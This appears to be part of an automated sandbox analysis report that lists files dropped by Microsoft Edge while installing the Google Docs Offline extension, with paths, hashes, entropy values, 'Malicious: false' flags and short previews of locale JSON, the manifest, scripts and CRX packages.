SSDEEP:	24:1HAk9oxkm6H4KyGGB9GeGoxPEYMQhpARezTtHUN97zlwpEH7:VKU1GB9GeBc/OARETt+9/WCb
MD5:	970963C25C2CEF16BB6F60952E103105
SHA1:	BBDDACFEEE60E22FB1C130E1EE8EFDA75EA600AA
SHA-256:	9FA26FF09F6ACDE2457ED366C0C4124B6CAC1435D0C4FD8A870A0C090417DA19
SHA-512:	1BED9FE4D4ADEED3D0BC8258D9F2FD72C6A177C713C3B03FC6F5452B6D6C2CB2236C54EA972ECE7DBFD756733805EB2352CAE44BAB93AA8EA73BB80460349504
Malicious:	false
Preview:	{.. "createnew": {.. "message": "........".. },.. "explanationofflinedisabled": {.. "message": ".. . ...... ....... ... ............. Google ........... ... ......... . .........., ......... . ............ .. ........ ........ Google .......... . ......... ......-............., .... ...... . .......".. },.. "explanationofflineenabled": {.. "message": ".. . ...... ......, ..... ... .... ...... .......... ........ ..... ... .......... .....".. },.. "extdesc": {.. "message": "........., ......... . ............ ........., .......... ....... .. ........... ... ....... .. ..........".. },.. "extname": {.. "message": "Goo

C:\Users\user\AppData\Local\Temp\scoped_dir7684_20349261\CRX_INSTALL\_locales\ur\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1263
Entropy (8bit):	4.861856182762435
Encrypted:	false
SSDEEP:	24:1HAl3zNEUhN3mNjkSIkmdNpInuUVsqNtOJDhY8Dvp/IkLzx:e3uUhQKvkmd+s11Lp1F
MD5:	8B4DF6A9281333341C939C244DDB7648
SHA1:	382C80CAD29BCF8AAF52D9A24CA5A6ECF1941C6B
SHA-256:	5DA836224D0F3A96F1C5EB5063061AAD837CA9FC6FED15D19C66DA25CF56F8AC
SHA-512:	FA1C015D4EA349F73468C78FDB798D462EEF0F73C1A762298798E19F825E968383B0A133E0A2CE3B3DF95F24C71992235BFC872C69DC98166B44D3183BF8A9E5
Malicious:	false
Preview:	{.. "createnew": {.. "message": "... ......".. },.. "explanationofflinedisabled": {.. "message": ".. .. .... .... Google Docs .. .... ....... ..... ....... .... ..... .... ... .. .. ....... .. ..... ... .. Google Docs ... ... .. ....... .. ..... ... .. .... ...... ..... .. .. .....".. },.. "explanationofflineenabled": {.. "message": ".. .. .... ... .... .. ... ... ...... ..... ... ..... .. .... ... .. ... ..... ... .... ....".. },.. "extdesc": {.. "message": ".......... .......... ... ....... . .... ... ....... .. ..... .. .... ...... ..... .... ... ..... .......".. },.. "extname": {.. "message": "Google Docs .. ....".. },.. "learnmore": {..

C:\Users\user\AppData\Local\Temp\scoped_dir7684_20349261\CRX_INSTALL\_locales\vi\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1074
Entropy (8bit):	5.062722522759407
Encrypted:	false
SSDEEP:	24:1HAhBBLEBOVUSUfE+eDFmj4BLErQ7e2CIer32KIxqJ/HtNiE5nIGeU+KCVT:qHCDheDFmjDQgX32/S/hI9jh
MD5:	773A3B9E708D052D6CBAA6D55C8A5438
SHA1:	5617235844595D5C73961A2C0A4AC66D8EA5F90F
SHA-256:	597C5F32BC999746BC5C2ED1E5115C523B7EB1D33F81B042203E1C1DF4BBCAFE
SHA-512:	E5F906729E38B23F64D7F146FA48F3ABF6BAED9AAFC0E5F6FA59F369DC47829DBB4BFA94448580BD61A34E844241F590B8D7AEC7091861105D8EBB2590A3BEE9
Malicious:	false
Preview:	{.. "createnew": {.. "message": "T.O M.I".. },.. "explanationofflinedisabled": {.. "message": "B.n .ang ngo.i tuy.n. .. s. d.ng Google T.i li.u m. kh.ng c.n k.t n.i Internet, .i ..n c.i ..t tr.n trang ch. c.a Google T.i li.u v. b.t ..ng b. h.a ngo.i tuy.n v.o l.n ti.p theo b.n ...c k.t n.i v.i m.ng Internet.".. },.. "explanationofflineenabled": {.. "message": "B.n .ang ngo.i tuy.n, tuy nhi.n b.n v.n c. th. ch.nh s.a c.c t.p c. s.n ho.c t.o c.c t.p m.i.".. },.. "extdesc": {.. "message": "Ch.nh s.a, t.o v. xem t.i li.u, b.ng t.nh v. b.n tr.nh b.y . t.t c. m. kh.ng c.n truy c.p Internet.".. },.. "extname": {.. "message": "Google T.i li.u ngo.i tuy.n".. },.. "learnmore": {.. "message": "Ti.m hi..u th.m".. },.. "popuphelptext": {.. "message": "Vi.t, ch.nh s.a v. c.ng t.c

C:\Users\user\AppData\Local\Temp\scoped_dir7684_20349261\CRX_INSTALL\_locales\zh_CN\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	879
Entropy (8bit):	5.7905809868505544
Encrypted:	false
SSDEEP:	12:1HASvgteHCBxNtSBXuetOrgIkA2OrWjMOCBxetSBXK01fg/SOiCSUEQ27e1CBhUj:1HAFsHtrIkA2jqldI/727eggcLk9pf
MD5:	3E76788E17E62FB49FB5ED5F4E7A3DCE
SHA1:	6904FFA0D13D45496F126E58C886C35366EFCC11
SHA-256:	E72D0BB08CC3005556E95A498BD737E7783BB0E56DCC202E7D27A536616F5EE0
SHA-512:	F431E570AB5973C54275C9EEF05E49E6FE2D6C17000F98D672DD31F9A1FAD98E0D50B5B0B9CF85D5BBD3B655B93FD69768C194C8C1688CB962AA75FF1AF9BDB6
Malicious:	false
Preview:	{.. "createnew": {.. "message": "..".. },.. "explanationofflinedisabled": {.. "message": "....................... Google ................ Google ....................".. },.. "explanationofflineenabled": {.. "message": ".............................".. },.. "extdesc": {.. "message": "...................... - ........".. },.. "extname": {.. "message": "Google .......".. },.. "learnmore": {.. "message": "....".. },.. "popuphelptext": {.. "message": "...............................".. }..}..

C:\Users\user\AppData\Local\Temp\scoped_dir7684_20349261\CRX_INSTALL\_locales\zh_HK\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1205
Entropy (8bit):	4.50367724745418
Encrypted:	false
SSDEEP:	24:YWvqB0f7Cr591AhI9Ah8U1F4rw4wtB9G976d6BY9scKUrPoAhNehIrI/uIXS1:YWvl7Cr5JHrw7k7u6BY9trW+rHR
MD5:	524E1B2A370D0E71342D05DDE3D3E774
SHA1:	60D1F59714F9E8F90EF34138D33FBFF6DD39E85A
SHA-256:	30F44CFAD052D73D86D12FA20CFC111563A3B2E4523B43F7D66D934BA8DACE91
SHA-512:	D2225CF2FA94B01A7B0F70A933E1FDCF69CDF92F76C424CE4F9FCC86510C481C9A87A7B71F907C836CBB1CA41A8BEBBD08F68DBC90710984CA738D293F905272
Malicious:	false
Preview:	{"createnew":{"message":"\u5efa\u7acb\u65b0\u9805\u76ee"},"explanationofflinedisabled":{"message":"\u60a8\u8655\u65bc\u96e2\u7dda\u72c0\u614b\u3002\u5982\u8981\u5728\u6c92\u6709\u4e92\u806f\u7db2\u9023\u7dda\u7684\u60c5\u6cc1\u4e0b\u4f7f\u7528\u300cGoogle \u6587\u4ef6\u300d\uff0c\u8acb\u524d\u5f80\u300cGoogle \u6587\u4ef6\u300d\u9996\u9801\u7684\u8a2d\u5b9a\uff0c\u4e26\u5728\u4e0b\u6b21\u9023\u63a5\u4e92\u806f\u7db2\u6642\u958b\u555f\u96e2\u7dda\u540c\u6b65\u529f\u80fd\u3002"},"explanationofflineenabled":{"message":"\u60a8\u8655\u65bc\u96e2\u7dda\u72c0\u614b\uff0c\u4f46\u60a8\u4ecd\u53ef\u4ee5\u7de8\u8f2f\u53ef\u7528\u6a94\u6848\u6216\u5efa\u7acb\u65b0\u6a94\u6848\u3002"},"extdesc":{"message":"\u7de8\u8f2f\u3001\u5efa\u7acb\u53ca\u67e5\u770b\u60a8\u7684\u6587\u4ef6\u3001\u8a66\u7b97\u8868\u548c\u7c21\u5831\uff0c\u5b8c\u5168\u4e0d\u9700\u4f7f\u7528\u4e92\u806f\u7db2\u3002"},"extname":{"message":"\u300cGoogle \u6587\u4ef6\u300d\u96e2\u7dda\u7248"},"learnmore":{"message":"\u77ad\u89e3\u8a

C:\Users\user\AppData\Local\Temp\scoped_dir7684_20349261\CRX_INSTALL\_locales\zh_TW\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	843
Entropy (8bit):	5.76581227215314
Encrypted:	false
SSDEEP:	12:1HASvgmaCBxNtBtA24ZOuAeOEHGOCBxetBtMHQIJECSUnLRNocPNy6CBhU5OGg1O:1HAEfQkekYyLvRmcPGgzcL2kx5U
MD5:	0E60627ACFD18F44D4DF469D8DCE6D30
SHA1:	2BFCB0C3CA6B50D69AD5745FA692BAF0708DB4B5
SHA-256:	F94C6DDEDF067642A1AF18D629778EC65E02B6097A8532B7E794502747AEB008
SHA-512:	6FF517EED4381A61075AC7C8E80C73FAFAE7C0583BA4FA7F4951DD7DBE183C253702DEE44B3276EFC566F295DAC1592271BE5E0AC0C7D2C9F6062054418C7C27
Malicious:	false
Preview:	{.. "createnew": {.. "message": ".....".. },.. "explanationofflinedisabled": {.. "message": ".................. Google ................ Google .................".. },.. "explanationofflineenabled": {.. "message": ".........................".. },.. "extdesc": {.. "message": ".............................".. },.. "extname": {.. "message": "Google .....".. },.. "learnmore": {.. "message": "....".. },.. "popuphelptext": {.. "message": "................................".. }..}..

C:\Users\user\AppData\Local\Temp\scoped_dir7684_20349261\CRX_INSTALL\_locales\zu\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	912
Entropy (8bit):	4.65963951143349
Encrypted:	false
SSDEEP:	24:YlMBKqLnI7EgBLWFQbTQIF+j4h3OadMJzLWnCieqgwLeOvKrCRPE:YlMBKqjI7EQOQb0Pj4heOWqeyaBrMPE
MD5:	71F916A64F98B6D1B5D1F62D297FDEC1
SHA1:	9386E8F723C3F42DA5B3F7E0B9970D2664EA0BAA
SHA-256:	EC78DDD4CCF32B5D76EC701A20167C3FBD146D79A505E4FB0421FC1E5CF4AA63
SHA-512:	30FA4E02120AF1BE6E7CC7DBB15FAE5D50825BD6B3CF28EF21D2F2E217B14AF5B76CFCC165685C3EDC1D09536BFCB10CA07E1E2CC0DA891CEC05E19394AD7144
Malicious:	false
Preview:	{"createnew":{"message":"DALA ENTSHA"},"explanationofflinedisabled":{"message":"Awuxhunyiwe ku-inthanethi. Ukuze usebenzise i-Google Amadokhumenti ngaphandle koxhumano lwe-inthanethi, iya kokuthi izilungiselelo ekhasini lasekhaya le-Google Amadokhumenti bese uvula ukuvumelanisa okungaxhunyiwe ku-inthanethi ngesikhathi esilandelayo lapho uxhunywe ku-inthanethi."},"explanationofflineenabled":{"message":"Awuxhunyiwe ku-inthanethi, kodwa usangakwazi ukuhlela amafayela atholakalayo noma udale amasha."},"extdesc":{"message":"Hlela, dala, futhi ubuke amadokhumenti akho, amaspredishithi, namaphrezentheshini \u2014 konke ngaphandle kokufinyelela kwe-inthanethi."},"extname":{"message":"I-Google Amadokhumenti engaxhumekile ku-intanethi"},"learnmore":{"message":"Funda kabanzi"},"popuphelptext":{"message":"Bhala, hlela, futhi hlanganyela noma yikuphi lapho okhona, unalo noma ungenalo uxhumano lwe-inthanethi."}}.

C:\Users\user\AppData\Local\Temp\scoped_dir7684_20349261\CRX_INSTALL\_metadata\verified_contents.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	11280
Entropy (8bit):	5.751992630887702
Encrypted:	false
SSDEEP:	192:RBG1G1UPkUj/86Op//Ier/2nsNLJtwg+K8HNnswuHEIIMuuqd7CKqvUpGTcjG:m8IEI4u8Rp
MD5:	250C48F4915DD4C0DFA7E7E021A4F066
SHA1:	092A98BF40D8C18280393BF3811A7DFA9A9FD326
SHA-256:	26D9B129339E2E2EB8E0223E16DB3CF0EA220AC0799480D462C236E6A425665E
SHA-512:	8B18E232992E55E8DA97AC46D7AACA061508341D1EADCEFF1E9D0677734DFA8B892AB44754A3AA100585F5B2F2562BC4F2D7103065050FFCD00F91D5915CE5E6
Malicious:	false
Preview:	[{"description":"treehash per file","signed_content":{"payload":"eyJjb250ZW50X2hhc2hlcyI6W3siYmxvY2tfc2l6ZSI6NDA5NiwiZGlnZXN0Ijoic2hhMjU2IiwiZmlsZXMiOlt7InBhdGgiOiIxMjgucG5nIiwicm9vdF9oYXNoIjoiZ2NWZy0xWWgySktRNVFtUmtjZGNmamU1dzVIc1JNN1ZCTmJyaHJ4eGZ5ZyJ9LHsicGF0aCI6Il9sb2NhbGVzL2FmL21lc3NhZ2VzLmpzb24iLCJyb290X2hhc2giOiJxaElnV3hDSFVNLWZvSmVFWWFiWWlCNU9nTm9ncUViWUpOcEFhZG5KR0VjIn0seyJwYXRoIjoiX2xvY2FsZXMvYW0vbWVzc2FnZXMuanNvbiIsInJvb3RfaGFzaCI6IlpPQWJ3cEs2THFGcGxYYjh4RVUyY0VkU0R1aVY0cERNN2lEQ1RKTTIyTzgifSx7InBhdGgiOiJfbG9jYWxlcy9hci9tZXNzYWdlcy5qc29uIiwicm9vdF9oYXNoIjoiUjJVaEZjdTVFcEJfUUZtU19QeGstWWRrSVZqd3l6WEoxdURVZEMyRE9BSSJ9LHsicGF0aCI6Il9sb2NhbGVzL2F6L21lc3NhZ2VzLmpzb24iLCJyb290X2hhc2giOiJZVVJ3Mmp4UU5Lem1TZkY0YS1xcTBzbFBSSFc4eUlXRGtMY2g4Ry0zdjJRIn0seyJwYXRoIjoiX2xvY2FsZXMvYmUvbWVzc2FnZXMuanNvbiIsInJvb3RfaGFzaCI6IjNmRm9XYUZmUHJNelRXSkJsMXlqbUlyRDZ2dzlsa1VxdzZTdjAyUk1oVkEifSx7InBhdGgiOiJfbG9jYWxlcy9iZy9tZXNzYWdlcy5qc29uIiwicm9vdF9oYXNoIjoiSXJ3M3RIem9xREx6bHdGa0hjTllOWFoyNmI0WWVwT2t4ZFN

C:\Users\user\AppData\Local\Temp\scoped_dir7684_20349261\CRX_INSTALL\dasherSettingSchema.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	854
Entropy (8bit):	4.284628987131403
Encrypted:	false
SSDEEP:	12:ont+QByTwnnGNcMbyWM+Q9TZldnnnGGxlF/S0WOtUL0M0r:vOrGe4dDCVGOjWJ0nr
MD5:	4EC1DF2DA46182103D2FFC3B92D20CA5
SHA1:	FB9D1BA3710CF31A87165317C6EDC110E98994CE
SHA-256:	6C69CE0FE6FAB14F1990A320D704FEE362C175C00EB6C9224AA6F41108918CA6
SHA-512:	939D81E6A82B10FF73A35C931052D8D53D42D915E526665079EEB4820DF4D70F1C6AEBAB70B59519A0014A48514833FEFD687D5A3ED1B06482223A168292105D
Malicious:	false
Preview:	{. "type": "object",. "properties": {. "allowedDocsOfflineDomains": {. "type": "array",. "items": {. "type": "string". },. "title": "Allow users to enable Docs offline for the specified managed domains.",. "description": "Users on managed devices will be able to enable docs offline if they are part of the specified managed domains.". },. "autoEnabledDocsOfflineDomains": {. "type": "array",. "items": {. "type": "string". },. "title": "Auto enable Docs offline for the specified managed domains in certain eligible situations.",. "description": "Users on managed devices, in certain eligible situations, will be able to automatically access and edit recent files offline for the managed domains set in this property. They can still disable it from Drive settings.". }. }.}.

C:\Users\user\AppData\Local\Temp\scoped_dir7684_20349261\CRX_INSTALL\manifest.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	2525
Entropy (8bit):	5.417833205646285
Encrypted:	false
SSDEEP:	24:1HEZ4WPoolELb/KxktGw3VwELb/4iL2QDkUpvdz1xxy/Atj1K9yiVvQe:WdP5aLTKQGwlTLT4oRvvxs/APKgiVb
MD5:	236D2DD305D64C2B6ABD232ED53270DF
SHA1:	9F6885E95FBC4213631F0B0EA49C803D07D34136
SHA-256:	2A4D526B9D1C8665427FB9E0DA58D16FDDE382DD74C1258941B18701EF7880C3
SHA-512:	B76AF22153F79BCA2429A23746A62A430A521E952E7F94936648ECFD25AFDD9801ACBF6FD16941918A4FEDE39DE747AB6C6336BC86CA74384920AF7E815DB855
Malicious:	false
Preview:	{.. "author": {.. "email": "docs-hosted-app-own@google.com".. },.. "background": {.. "service_worker": "service_worker_bin_prod.js".. },.. "content_capabilities": {.. "matches": [ "https://docs.google.com/", "https://drive.google.com/", "https://drive-autopush.corp.google.com/", "https://drive-daily-0.corp.google.com/", "https://drive-daily-1.corp.google.com/", "https://drive-daily-2.corp.google.com/", "https://drive-daily-3.corp.google.com/", "https://drive-daily-4.corp.google.com/", "https://drive-daily-5.corp.google.com/", "https://drive-daily-6.corp.google.com/", "https://drive-preprod.corp.google.com/", "https://drive-staging.corp.google.com/" ],.. "permissions": [ "clipboardRead", "clipboardWrite", "unlimitedStorage" ].. },.. "content_security_policy": {.. "extension_pages": "script-src 'self'; object-src 'self'".. },.. "default_locale": "en_US",.. "description": "__MSG_extDesc__",.. "externally_connectable": {.. "ma

C:\Users\user\AppData\Local\Temp\scoped_dir7684_20349261\CRX_INSTALL\offscreendocument.html

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	HTML document, ASCII text
Category:	dropped
Size (bytes):	97
Entropy (8bit):	4.862433271815736
Encrypted:	false
SSDEEP:	3:PouV7uJL5XL/oGLvLAAJR90bZNGXIL0Hac4NGb:hxuJL5XsOv0EmNV4HX4Qb
MD5:	B747B5922A0BC74BBF0A9BC59DF7685F
SHA1:	7BF124B0BE8EE2CFCD2506C1C6FFC74D1650108C
SHA-256:	B9FA2D52A4FFABB438B56184131B893B04655B01F336066415D4FE839EFE64E7
SHA-512:	7567761BE4054FCB31885E16D119CD4E419A423FFB83C3B3ED80BFBF64E78A73C2E97AAE4E24AB25486CD1E43877842DB0836DB58FBFBCEF495BC53F9B2A20EC
Malicious:	false
Preview:	<!DOCTYPE html>.<html>.<body>. <script src="offscreendocument_main.js"></script>.</body>.</html>

C:\Users\user\AppData\Local\Temp\scoped_dir7684_20349261\CRX_INSTALL\offscreendocument_main.js

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text, with very long lines (3777)
Category:	dropped
Size (bytes):	98880
Entropy (8bit):	5.414989230634404
Encrypted:	false
SSDEEP:	1536:M+TW9bPq1M3ZOC0pJ/BjXf3Zk/7hry6fq66V3gr9KUw5SXfPxhZhGurH6c/V:WPLZwJJXf3ZvRV3gJKU/fP+urHRV
MD5:	DC93A1045D1AD8D7ADD06B93B2FE79E2
SHA1:	CAFCC8DB7F8E3FD2F8C1EFAC7B385D7616F55EA3
SHA-256:	D5CEB4449384CD2D7898C052B7B99417961880945FC4EAE80EBBAF8E24CC0A3E
SHA-512:	025F7103D1F7D607825BE916D0131C1E04B295EB562974A77F5A16E7BF40250B5608071779B420E4738F86F09A6F7C889469FA898268894FFFEEB7465C589E81
Malicious:	false
Preview:	'use strict';function aa(){return function(a){return a}}function ba(){return function(){}}function l(a){return function(){return this[a]}}function ca(a){return function(){return a}}var n;function da(a){var b=0;return function(){return b<a.length?{done:!1,value:a[b++]}:{done:!0}}}var ea=typeof Object.defineProperties=="function"?Object.defineProperty:function(a,b,c){if(a==Array.prototype\|\|a==Object.prototype)return a;a[b]=c.value;return a};.function fa(a){a=["object"==typeof globalThis&&globalThis,a,"object"==typeof window&&window,"object"==typeof self&&self,"object"==typeof global&&global];for(var b=0;b<a.length;++b){var c=a[b];if(c&&c.Math==Math)return c}throw Error("Cannot find global object");}var q=fa(this);function r(a,b){if(b)a:{var c=q;a=a.split(".");for(var d=0;d<a.length-1;d++){var e=a[d];if(!(e in c))break a;c=c[e]}a=a[a.length-1];d=c[a];b=b(d);b!=d&&b!=null&&ea(c,a,{configurable:!0,writable:!0,value:b})}}.r("Symbol",function(a){function b(f){if(this instanceof b)throw new Ty

C:\Users\user\AppData\Local\Temp\scoped_dir7684_20349261\CRX_INSTALL\page_embed_script.js

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	291
Entropy (8bit):	4.65176400421739
Encrypted:	false
SSDEEP:	6:2LGX86tj66rU8j6D3bWq2un/XBtzHrH9Mnj63LK603:2Q8KVqb2u/Rt3Onj1
MD5:	3AB0CD0F493B1B185B42AD38AE2DD572
SHA1:	079B79C2ED6F67B5A5BD9BC8C85801F96B1B0F4B
SHA-256:	73E3888CCBC8E0425C3D2F8D1E6A7211F7910800EEDE7B1E23AD43D3B21173F7
SHA-512:	32F9DB54654F29F39D49F7A24A1FC800DBC0D4A8A1BAB2369C6F9799BC6ADE54962EFF6010EF6D6419AE51D5B53EC4B26B6E2CDD98DEF7CC0D2ADC3A865F37D3
Malicious:	false
Preview:	(function(){window._docs_chrome_extension_exists=!0;window._docs_chrome_extension_features_version=2;window._docs_chrome_extension_permissions="alarms clipboardRead clipboardWrite storage unlimitedStorage offscreen".split(" ");window._docs_chrome_extension_manifest_version=3;}).call(this);.

C:\Users\user\AppData\Local\Temp\scoped_dir7684_20349261\CRX_INSTALL\service_worker_bin_prod.js

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text, with very long lines (3782)
Category:	dropped
Size (bytes):	107677
Entropy (8bit):	5.396220758526552
Encrypted:	false
SSDEEP:	1536:7nwyvB1qCo7mWUgsUopF5Xy4FlAwxdhvHcrdncqAKxwjBnKwIDQgrOChkPIgmrCp:wh6gstXy4FM5ncJKxCnKWgrd0v
MD5:	E8015AC436B33034EDF7DA060E853A04
SHA1:	62D0F6EB0E441158A1F56F6E0C70D3D229B57886
SHA-256:	23C953E989FF4AF6126D4A3B2AD21B33A82512FC8768045C00F05940DE2C9978
SHA-512:	C35AC8692FC22B78365CA202E173A90AE4B5DBA338B7FC9EEB17EDDF5868B52CF1D13DC0EDAF36BE1CC0E0152F41AC4027C51D7ECA27778B483E3FC83F11EA82
Malicious:	false
Preview:	'use strict';function aa(){return function(a){return a}}function ba(){return function(){}}function k(a){return function(){return this[a]}}function ca(a){return function(){return a}}var n;function da(a){var b=0;return function(){return b<a.length?{done:!1,value:a[b++]}:{done:!0}}}var ea=typeof Object.defineProperties=="function"?Object.defineProperty:function(a,b,c){if(a==Array.prototype\|\|a==Object.prototype)return a;a[b]=c.value;return a};.function fa(a){a=["object"==typeof globalThis&&globalThis,a,"object"==typeof window&&window,"object"==typeof self&&self,"object"==typeof global&&global];for(var b=0;b<a.length;++b){var c=a[b];if(c&&c.Math==Math)return c}throw Error("Cannot find global object");}var q=fa(this);function r(a,b){if(b)a:{var c=q;a=a.split(".");for(var d=0;d<a.length-1;d++){var e=a[d];if(!(e in c))break a;c=c[e]}a=a[a.length-1];d=c[a];b=b(d);b!=d&&b!=null&&ea(c,a,{configurable:!0,writable:!0,value:b})}}.r("Symbol",function(a){function b(f){if(this instanceof b)throw new Ty

C:\Users\user\AppData\Local\Temp\scoped_dir7684_20349261\d64ab21d-7d74-443c-a46b-ac1999c77aeb.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	Google Chrome extension, version 3
Category:	dropped
Size (bytes):	138356
Entropy (8bit):	7.809609231921042
Encrypted:	false
SSDEEP:	3072:AQ++ZdS5+fnwcxO+XwquyeNnmraugZ/1DOoncWD/5q:AQ++/PZmlyeNnh/1SmRq
MD5:	3F6F93C3DCCD4A91C4EB25C7F6FEB1C1
SHA1:	9B73F46ADFA1F4464929B408407E73D4535C6827
SHA-256:	19F05352CB4C6E231C1C000B6C8B7E9EDCC1E8082CAF46FFF16B239D32AA7C9E
SHA-512:	D488FA67E3A29D0147E9EAF2EABC74D9A255F8470CF79A4AEA60E3B3B5E48A3FCBC4FC3E9CE58DFF8D7D0CAA8AE749295F221E1FE1BA5D20DEB2D97544A12BA4
Malicious:	false
Preview:	Cr24..............0.."0....H.............0.........^...1"...w.g..t..2J.G1.)X4..=&.?[j,Lz..j.u.e[I.qBa/X...P.h..L.....2%3_o.......H.)'.=.e...?.......j..3UH.\|.X.M..u..s[...?$....F%....I....)..,-./.e5).f..O.q.^........9..(.._.ph2..^.YBPXf_8....h[.v...S.1`.#..5.SF.:f-.#.65.i..b.]9...y2.'....k[........q.a.....E..i.t,..7C..7!...`l.-.......T.vH...~.....'..aH..C.oJOE..d..2..$J......I..;.(9l.(..+.N.6.@...].a.n.S.6..=.b.W.\....o...#.~J.W.1..E...2H....S.g0....../.H...y.O8...kE.,..m!..F.D.p......H..s.W ...#.L........Ij.........-..n..\..vD.d.V.....!......[0Y0....H.=.....H.=....B..............r...2..+Y.I...k..bR.j5Sl..8.......H"i.-l..`.Q.{...F0D. ?Eq.M...[6^...+.].G..Y]...7..o.. U...v....P.J...@.E!...B.d..p..i".%............oo.<....~=..!t.+...`....h..LK....0....h...,.R%.....u...._..V_.q:_._..5}.uS\.....x?...~]..C-....S=L...._c.P.B....-M...62.i*.Q.....9.....+S=...../6:...W..ql/g..&j.y..{.."....\|..F....\|....V....w.%t.y..?..&..a..<.n....S+\|..=.ra.....

C:\Users\user\AppData\Local\Temp\scoped_dir7684_278455595\19737233-ced3-4ed5-b72b-10fe3ea1ddf7.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	Google Chrome extension, version 3
Category:	dropped
Size (bytes):	11185
Entropy (8bit):	7.951995436832936
Encrypted:	false
SSDEEP:	192:YEKh1jNlwQbamjq6Bcykrs3kAVg55GzVQM5F+XwsxNv7/lsoltBq0WG4ZeJTmrRb:fKT/BAzA05Gn5F+XV7NNltrWG4kJTm1b
MD5:	78E47DDA17341BED7BE45DCCFD89AC87
SHA1:	1AFDE30E46997452D11E4A2ADBBF35CCE7A1404F
SHA-256:	67D161098BE68CD24FEBC0C7B48F515F199DDA72F20AE3BBB97FCF2542BB0550
SHA-512:	9574A66D3756540479DC955C4057144283E09CAE11CE11EBCE801053BB48E536E67DC823B91895A9E3EE8D3CB27C065D5E9030C39A26CBF3F201348385B418A5
Malicious:	false
Preview:	Cr24..............0.."0....H.............0.........N.......E#......9e.u.q...VYY..@.+.C..k.O..bK.`..6.G..%.....3Z...e _.6....F..1p..K.Z......./ .3...OT..`..0...Y...FT..43.th.y...}....p.L...2S.&i.`..o...f.oH.....N..:..ijT.3.F{.0.,.f?'f.CQt;b_"Pc.. ..~S.I.c.8Z.;.....{G.a......k...>.`.o..%.$>;.....g.............jg?.R..@.:..........&..{...x@.Py..;kT....%F".S..w...N....9...A..@X.t!i.@..1;......1E..X.....[.~$....J......;=T.;)k..Y...$......S......M.P..P..>..=..u.....2p...w.9..1qw.a\A..Vj .C.....A..Cf1.r6.A...L. _m...[..l.Wr_../.. .B..9!.!+..ZG.K.......0.."0....H.............0.........^SUd%Q.L].......Cl2o...\[.....'*...;R=....N.C5....d. .....J.C>u.kr..Y..syJC.XS.q..E.n?....(G.5..)2.G..!.M.SS.{..U....!.EE..M[.#qs.A.1...g)nQ.c..G....Bd..7... .O.BI..KXQ..4.d.K.0......g.....-p....Z.E{...M&.~n.TE7..{0....5.#.C+3.y)pd9.e.........@..3.9..B.....I....2nX........2.?.~..S....]G.N.....Lr.O.Ve....9..D1.G..W)...P.?=.#..7.R.lz..a.wX.e..h.h.~....v..RP.@X....d.G

C:\Users\user\AppData\Local\Temp\scoped_dir7684_278455595\CRX_INSTALL\_metadata\verified_contents.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1753
Entropy (8bit):	5.8889033066924155
Encrypted:	false
SSDEEP:	48:Pxpr7Xka2NXDpfsBJODI19Kg1JqcJW9O//JE3ZBDcpu/x:L3XgNSz9/4kIO3u3Xgpq
MD5:	738E757B92939B24CDBBD0EFC2601315
SHA1:	77058CBAFA625AAFBEA867052136C11AD3332143
SHA-256:	D23B2BA94BA22BBB681E6362AE5870ACD8A3280FA9E7241B86A9E12982968947
SHA-512:	DCA3E12DD5A9F1802DB6D11B009FCE2B787E79B9F730094367C9F26D1D87AF1EA072FF5B10888648FB1231DD83475CF45594BB0C9915B655EE363A3127A5FFC2
Malicious:	false
Preview:	[.. {.. "description": "treehash per file",.. "signed_content": {.. "payload": "eyJpdGVtX2lkIjoiam1qZmxnanBjcGVwZWFmbW1nZHBma29na2doY3BpaGEiLCJpdGVtX3ZlcnNpb24iOiIxLjIuMSIsInByb3RvY29sX3ZlcnNpb24iOjEsImNvbnRlbnRfaGFzaGVzIjpbeyJmb3JtYXQiOiJ0cmVlaGFzaCIsImRpZ2VzdCI6InNoYTI1NiIsImJsb2NrX3NpemUiOjQwOTYsImhhc2hfYmxvY2tfc2l6ZSI6NDA5NiwiZmlsZXMiOlt7InBhdGgiOiJjb250ZW50LmpzIiwicm9vdF9oYXNoIjoiQS13R1JtV0VpM1lybmxQNktneUdrVWJ5Q0FoTG9JZnRRZGtHUnBEcnp1QSJ9LHsicGF0aCI6ImNvbnRlbnRfbmV3LmpzIiwicm9vdF9oYXNoIjoiVU00WVRBMHc5NFlqSHVzVVJaVTFlU2FBSjFXVENKcHhHQUtXMGxhcDIzUSJ9LHsicGF0aCI6Im1hbmlmZXN0Lmpzb24iLCJyb290X2hhc2giOiJKNXYwVTkwRmN0ejBveWJMZmZuNm5TbHFLU0h2bHF2YkdWYW9FeWFOZU1zIn1dfV19",.. "signatures": [.. {.. "header": {.. "kid": "publisher".. },.. "protected": "eyJhbGciOiJSUzI1NiJ9",.. "signature": 